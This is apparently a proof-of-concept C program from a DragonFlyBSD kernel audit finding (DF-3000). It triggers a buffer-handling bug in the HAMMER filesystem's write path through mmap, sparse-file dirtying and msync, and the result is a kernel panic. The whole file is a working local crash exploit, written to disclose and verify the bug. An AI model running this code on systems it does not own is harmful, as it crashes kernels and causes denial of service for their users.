DragonFlyBSD Kernel Audit
DF-3000 / op3000.c
← back to finding ↓ download raw
/*
 * DF-3000 PoC: hammer_vop_write() UIO_NOCOPY path releases the buffer
 * (bqrelse) and then calls bread(&bp), which reuses the released pointer
 * (breadnx: "if (*bpp) bp = *bpp") instead of getblk()ing a locked buffer.
 * The write-out then hits bawrite()/bdwrite()/bwrite() with an unlocked
 * buffer -> panic("bawrite|bdwrite|bwrite: buffer is not busy").
 *
 * UIO_NOCOPY writes come from vnode_pager_generic_putpages() (msync/pageout
 * of mmap'd files).  The !B_CACHE branch fires when the 16K hammer block
 * covering the dirty page(s) is not fully valid in the buffer cache.
 *
 * Scenario A: fresh file extended by ftruncate, mmap MAP_SHARED, dirty one
 *             byte per 16K block (only the covering 4K page becomes valid),
 *             msync(MS_SYNC).
 * Scenario B: full write() + eviction pressure, then mmap+dirty+msync.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/stat.h>

int main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df3000.bin";
	size_t size = (argc > 2) ? (size_t)strtoull(argv[2], NULL, 0) : (1 << 20);

	setvbuf(stdout, NULL, _IONBF, 0);

	int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return 1; }

	/* sparse-extend: no data blocks read into the cache */
	if (ftruncate(fd, size)) { perror("ftruncate"); return 1; }

	char *p = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
	if (p == MAP_FAILED) { perror("mmap"); return 1; }

	/* dirty exactly one byte in the middle of every other 16K block:
	 * the fault validates only the single 4K page -> the covering
	 * 16K hammer buffer is not fully valid -> !B_CACHE in putpages */
	for (size_t off = 8192; off < size; off += 2 * 16384)
		p[off] = (char)(off ^ 0x5a);

	printf("dirtying done, msync...\n");
	if (msync(p, size, MS_SYNC))
		printf("msync: %s\n", strerror(errno));
	else
		printf("msync: OK\n");

	munmap(p, size);
	close(fd);
	unlink(path);
	printf("done\n");
	return 0;
}